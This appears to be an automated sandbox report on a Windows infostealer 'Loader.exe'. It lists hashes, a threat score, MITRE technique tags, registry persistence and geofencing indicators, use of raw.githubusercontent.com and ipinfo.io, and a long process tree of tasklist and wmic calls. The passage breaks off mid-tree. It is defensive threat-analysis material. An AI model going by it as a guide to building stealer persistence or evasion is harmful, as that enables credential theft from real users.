af277117f93fbe518b20b27504d9607df8389027daa848178dcf24355b33bd82

Resubmissions

15/03/2024, 17:57

240315-wjxylafa5y 8

Analysis

max time kernel
150s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
15/03/2024, 17:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loader.exe
Size

81.5MB
MD5

33b0802c9a2a087744f2e5d447e23c55
SHA1

feeb964c052aaf1ca39364217b336d8934901657
SHA256

af277117f93fbe518b20b27504d9607df8389027daa848178dcf24355b33bd82
SHA512

6319912cf946a66bd90c414f7fc7773a72d9f5fa4a0e651c3c06833b6573290d2ed2cb9990886720509625375a1d4f8ac88c88596753b96d94ab288e00f6c778
SSDEEP

1572864:V/WHHr9kDJDEMtDY9TkfCtURGvz3yzPgxTTB0KHP4KkqWTEB7CX7:V/8L9wDEMDmTkHRG73GEHwNqWTEB7CX7

Score

8^/10

evasion persistence spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
73	11940	Process not Found
76	11940	Process not Found
78	11940	Process not Found
80	11940	Process not Found
82	11940	Process not Found

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	System.exe

Executes dropped EXE 4 IoCs

pid	Process
1964	System.exe
1972	System.exe
4116	System.exe
10284	System.exe

Loads dropped DLL 14 IoCs

pid	Process
3064	Loader.exe
3064	Loader.exe
3064	Loader.exe
1964	System.exe
1964	System.exe
1964	System.exe
1972	System.exe
4116	System.exe
1972	System.exe
1972	System.exe
1972	System.exe
1972	System.exe
10284	System.exe
10284	System.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Start_oXMV0C = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\sysWin10Boot_oXMV0C.vbs"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
104	raw.githubusercontent.com
105	raw.githubusercontent.com
106	raw.githubusercontent.com
107	raw.githubusercontent.com
114	raw.githubusercontent.com
123	raw.githubusercontent.com
128	raw.githubusercontent.com
98	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
69	ipinfo.io
70	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	System.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	System.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	System.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	System.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	System.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	System.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	System.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
12064	WMIC.exe

Enumerates processes with tasklist 1 TTPs 64 IoCs

Process Discovery

T1057

pid	Process
9136	tasklist.exe
8712	tasklist.exe
8600	tasklist.exe
8536	tasklist.exe
8428	tasklist.exe
8352	tasklist.exe
8268	tasklist.exe
8556	tasklist.exe
8628	tasklist.exe
9076	tasklist.exe
8928	tasklist.exe
8440	tasklist.exe
8284	tasklist.exe
8900	tasklist.exe
8892	tasklist.exe
8840	tasklist.exe
8780	tasklist.exe
8648	tasklist.exe
8592	tasklist.exe
8520	tasklist.exe
8512	tasklist.exe
8456	tasklist.exe
8400	tasklist.exe
8384	tasklist.exe
8948	tasklist.exe
8304	tasklist.exe
8296	tasklist.exe
8228	tasklist.exe
9016	tasklist.exe
8528	tasklist.exe
8420	tasklist.exe
8360	tasklist.exe
8244	tasklist.exe
11992	tasklist.exe
8848	tasklist.exe
8680	tasklist.exe
8668	tasklist.exe
8584	tasklist.exe
8504	tasklist.exe
8496	tasklist.exe
8376	tasklist.exe
1112	tasklist.exe
9144	tasklist.exe
9120	tasklist.exe
8788	tasklist.exe
8616	tasklist.exe
3220	tasklist.exe
8720	tasklist.exe
9152	tasklist.exe
8576	tasklist.exe
9128	tasklist.exe
8336	tasklist.exe
8312	tasklist.exe
8120	tasklist.exe
8472	tasklist.exe
9004	tasklist.exe
8696	tasklist.exe
8656	tasklist.exe
8252	tasklist.exe
8212	tasklist.exe
6792	tasklist.exe
8164	tasklist.exe
8992	tasklist.exe
8908	tasklist.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

pid	Process
1964	System.exe
1964	System.exe
1964	System.exe
1964	System.exe
1964	System.exe
1964	System.exe
12156	powershell.exe
12156	powershell.exe
12156	powershell.exe
11540	powershell.exe
11540	powershell.exe
11540	powershell.exe
9848	powershell.exe
9848	powershell.exe
6864	powershell.exe
6864	powershell.exe
5732	powershell.exe
5732	powershell.exe
9848	powershell.exe
6864	powershell.exe
5732	powershell.exe
6804	powershell.exe
6804	powershell.exe
6804	powershell.exe
3728	powershell.exe
3728	powershell.exe
3728	powershell.exe
5736	powershell.exe
5736	powershell.exe
5736	powershell.exe
6296	powershell.exe
6296	powershell.exe
6296	powershell.exe
7116	powershell.exe
7116	powershell.exe
7116	powershell.exe
11204	powershell.exe
11204	powershell.exe
11204	powershell.exe
10824	powershell.exe
10824	powershell.exe
10824	powershell.exe
3120	powershell.exe
3120	powershell.exe
3120	powershell.exe
6924	powershell.exe
6924	powershell.exe
6924	powershell.exe
10284	System.exe
10284	System.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	3064	Loader.exe
Token: SeShutdownPrivilege	1964	System.exe
Token: SeCreatePagefilePrivilege	1964	System.exe
Token: SeDebugPrivilege	2300	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3732	WMIC.exe
Token: SeSecurityPrivilege	3732	WMIC.exe
Token: SeTakeOwnershipPrivilege	3732	WMIC.exe
Token: SeLoadDriverPrivilege	3732	WMIC.exe
Token: SeSystemProfilePrivilege	3732	WMIC.exe
Token: SeSystemtimePrivilege	3732	WMIC.exe
Token: SeProfSingleProcessPrivilege	3732	WMIC.exe
Token: SeIncBasePriorityPrivilege	3732	WMIC.exe
Token: SeCreatePagefilePrivilege	3732	WMIC.exe
Token: SeBackupPrivilege	3732	WMIC.exe
Token: SeRestorePrivilege	3732	WMIC.exe
Token: SeShutdownPrivilege	3732	WMIC.exe
Token: SeDebugPrivilege	3732	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3732	WMIC.exe
Token: SeRemoteShutdownPrivilege	3732	WMIC.exe
Token: SeUndockPrivilege	3732	WMIC.exe
Token: SeManageVolumePrivilege	3732	WMIC.exe
Token: 33	3732	WMIC.exe
Token: 34	3732	WMIC.exe
Token: 35	3732	WMIC.exe
Token: 36	3732	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3732	WMIC.exe
Token: SeSecurityPrivilege	3732	WMIC.exe
Token: SeTakeOwnershipPrivilege	3732	WMIC.exe
Token: SeLoadDriverPrivilege	3732	WMIC.exe
Token: SeSystemProfilePrivilege	3732	WMIC.exe
Token: SeSystemtimePrivilege	3732	WMIC.exe
Token: SeProfSingleProcessPrivilege	3732	WMIC.exe
Token: SeIncBasePriorityPrivilege	3732	WMIC.exe
Token: SeCreatePagefilePrivilege	3732	WMIC.exe
Token: SeBackupPrivilege	3732	WMIC.exe
Token: SeRestorePrivilege	3732	WMIC.exe
Token: SeShutdownPrivilege	3732	WMIC.exe
Token: SeDebugPrivilege	3732	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3732	WMIC.exe
Token: SeRemoteShutdownPrivilege	3732	WMIC.exe
Token: SeUndockPrivilege	3732	WMIC.exe
Token: SeManageVolumePrivilege	3732	WMIC.exe
Token: 33	3732	WMIC.exe
Token: 34	3732	WMIC.exe
Token: 35	3732	WMIC.exe
Token: 36	3732	WMIC.exe
Token: SeShutdownPrivilege	1964	System.exe
Token: SeCreatePagefilePrivilege	1964	System.exe
Token: SeShutdownPrivilege	1964	System.exe
Token: SeCreatePagefilePrivilege	1964	System.exe
Token: SeDebugPrivilege	6792	tasklist.exe
Token: SeDebugPrivilege	8164	tasklist.exe
Token: SeShutdownPrivilege	1964	System.exe
Token: SeCreatePagefilePrivilege	1964	System.exe
Token: SeIncreaseQuotaPrivilege	8772	WMIC.exe
Token: SeSecurityPrivilege	8772	WMIC.exe
Token: SeTakeOwnershipPrivilege	8772	WMIC.exe
Token: SeLoadDriverPrivilege	8772	WMIC.exe
Token: SeSystemProfilePrivilege	8772	WMIC.exe
Token: SeSystemtimePrivilege	8772	WMIC.exe
Token: SeProfSingleProcessPrivilege	8772	WMIC.exe
Token: SeIncBasePriorityPrivilege	8772	WMIC.exe
Token: SeCreatePagefilePrivilege	8772	WMIC.exe
Token: SeBackupPrivilege	8772	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 1964	3064	Loader.exe	100
PID 3064 wrote to memory of 1964	3064	Loader.exe	100
PID 1964 wrote to memory of 872	1964	System.exe	101
PID 1964 wrote to memory of 872	1964	System.exe	101
PID 872 wrote to memory of 2300	872	cmd.exe	103
PID 872 wrote to memory of 2300	872	cmd.exe	103
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 1972	1964	System.exe	104
PID 1964 wrote to memory of 4116	1964	System.exe	105
PID 1964 wrote to memory of 4116	1964	System.exe	105
PID 1964 wrote to memory of 4404	1964	System.exe	106
PID 1964 wrote to memory of 4404	1964	System.exe	106
PID 4404 wrote to memory of 3732	4404	cmd.exe	162
PID 4404 wrote to memory of 3732	4404	cmd.exe	162
PID 1964 wrote to memory of 5028	1964	System.exe	111
PID 1964 wrote to memory of 5028	1964	System.exe	111
PID 1964 wrote to memory of 1468	1964	System.exe	112
PID 1964 wrote to memory of 1468	1964	System.exe	112
PID 1964 wrote to memory of 4884	1964	System.exe	113
PID 1964 wrote to memory of 4884	1964	System.exe	113
PID 1964 wrote to memory of 3208	1964	System.exe	114
PID 1964 wrote to memory of 3208	1964	System.exe	114
PID 1964 wrote to memory of 3568	1964	System.exe	115
PID 1964 wrote to memory of 3568	1964	System.exe	115
PID 1964 wrote to memory of 2712	1964	System.exe	116
PID 1964 wrote to memory of 2712	1964	System.exe	116
PID 1964 wrote to memory of 4492	1964	System.exe	117
PID 1964 wrote to memory of 4492	1964	System.exe	117
PID 1964 wrote to memory of 456	1964	System.exe	484
PID 1964 wrote to memory of 456	1964	System.exe	484
PID 1964 wrote to memory of 1660	1964	System.exe	119
PID 1964 wrote to memory of 1660	1964	System.exe	119
PID 1964 wrote to memory of 4032	1964	System.exe	512
PID 1964 wrote to memory of 4032	1964	System.exe	512
PID 1964 wrote to memory of 3128	1964	System.exe	122
PID 1964 wrote to memory of 3128	1964	System.exe	122

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4728	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Loader.exe
"C:\Users\Admin\AppData\Local\Temp\Loader.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
  C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2300
- - C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
    "C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\megamindnva" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1740 --field-trial-handle=1748,i,8115900029917250136,11599939239375808381,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1972
- - C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe
    "C:\Users\Admin\AppData\Local\Temp\2deAPxRCmaTHkxGBz7te5NojV4p\System.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\megamindnva" --mojo-platform-channel-handle=2168 --field-trial-handle=1748,i,8115900029917250136,11599939239375808381,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=NaN get ExecutablePath"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where processid=NaN get ExecutablePath
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5028
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4884
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3208
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3568
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2712
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:6792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4492
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:456
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1660
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4032
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3128
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:468
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1140
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1820
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3968
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4344
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5080
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4620
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:632
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:592
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:928
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:912
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4220
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:388
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1504
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1724
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4292
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1528
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3560
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:8164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4824
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2840
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:3220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4632
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4392
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2348
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:2580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5000
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4408
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3732
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5096
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:656
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3764
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5124
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5136
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5168
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5180
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5208
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5228
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:7148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5260
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5284
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5312
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5324
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5340
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5348
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:9004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5368
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5380
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:8832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5408
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5416
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5444
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5464
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:8712
- - C:\Windows\system32\cmd.exe
